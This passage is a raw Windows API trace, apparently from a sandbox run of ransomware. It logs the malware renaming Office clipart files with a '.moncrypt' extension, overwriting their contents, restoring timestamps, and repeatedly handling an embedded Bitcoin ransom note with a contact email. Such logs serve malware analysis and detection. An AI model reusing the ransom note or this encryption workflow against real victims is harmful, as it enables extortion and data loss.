CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.351] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04196_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.352] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.352] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.352] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.352] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF", dwFileAttributes=0x20) returned 1 [0060.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.353] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.moncrypt")) returned 1 [0060.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.353] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.353] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0xc48 [0060.353] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.354] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0xc48, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0xc48, lpOverlapped=0x0) returned 1 [0060.363] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.363] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.366] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.366] GlobalUnlock (hMem=0x44000c) returned 0 [0060.367] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.371] GlobalUnlock (hMem=0x440004) returned 0 [0060.371] GlobalLock (hMem=0x440004) returned 0x550170 [0060.371] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.371] GlobalUnlock (hMem=0x440004) returned 0 [0060.385] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.385] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0xc60, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0xc60, lpOverlapped=0x0) returned 1 [0060.385] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.386] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.431] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.431] CloseHandle (hObject=0x188) returned 1 [0060.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.432] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.433] CloseHandle (hObject=0x188) returned 1 [0060.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.433] GlobalLock (hMem=0x440004) returned 0x550170 [0060.433] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.433] GlobalUnlock (hMem=0x440004) returned 0 [0060.433] GlobalLock (hMem=0x440004) returned 0x550170 [0060.433] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.433] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.434] GlobalUnlock (hMem=0x440004) returned 0 [0060.434] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.434] GlobalUnlock (hMem=0x44000c) returned 0 [0060.434] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.434] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.434] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.434] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.434] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.434] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.434] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.434] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.435] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.435] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.435] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.435] CloseHandle (hObject=0x188) returned 1 [0060.435] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0060.436] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.436] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.436] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.436] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.436] GlobalUnlock (hMem=0x44000c) returned 0 [0060.436] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.436] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.436] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.436] GlobalUnlock (hMem=0x44000c) returned 0 [0060.436] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.436] GlobalUnlock (hMem=0x440004) returned 0 [0060.436] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.436] CharLowerBuffW (in: lpsz="AN04206_.WMF", cchLength=0xc | out: lpsz="an04206_.wmf") returned 0xc [0060.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.438] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.438] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04206_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.438] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.438] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.438] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.438] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF", dwFileAttributes=0x20) returned 1 [0060.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.448] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.moncrypt")) returned 1 [0060.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.449] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.449] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x1df4 [0060.449] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.449] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x1df4, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x1df4, lpOverlapped=0x0) returned 1 [0060.486] GlobalLock (hMem=0x440004) returned 0x550170 [0060.486] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.486] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.486] GlobalUnlock (hMem=0x440004) returned 0 [0060.486] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.486] GlobalUnlock (hMem=0x44000c) returned 0 [0060.486] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.486] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.486] GlobalUnlock (hMem=0x44000c) returned 0 [0060.486] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.486] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x1e10, lpOverlapped=0x0) returned 1 [0060.487] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.487] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.503] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.503] CloseHandle (hObject=0x188) returned 1 [0060.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.504] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.504] CloseHandle (hObject=0x188) returned 1 [0060.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.505] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.505] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.505] GlobalUnlock (hMem=0x44000c) returned 0 [0060.505] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.505] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.505] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.505] GlobalUnlock (hMem=0x44000c) returned 0 [0060.505] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.505] GlobalUnlock (hMem=0x440004) returned 0 [0060.505] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.505] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.505] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.505] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.505] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.506] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.506] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.506] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.506] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 